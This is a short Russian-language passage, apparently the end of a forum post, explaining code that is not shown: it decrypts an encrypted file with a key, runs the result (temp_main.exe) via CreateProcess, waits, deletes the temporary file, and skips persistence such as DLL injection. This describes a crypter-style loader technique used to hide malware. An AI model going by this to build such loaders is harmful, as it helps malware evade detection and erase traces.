}


Код расшифровывает зашифрованный файл с использованием того же ключа и вызывает функцию CreateProcess для запуска расшифрованного файла (temp_main.exe). Затем программа ждёт завершения выполнения и после этого удаляет временный файл.

Поскольку у программы нет цели оставаться в системе больше чем на один запуск, никаких шагов по обеспечению постоянства, таких как DLL-инъекции, предпринимать не будет.

Трям! Пока!
 
Сверху Снизу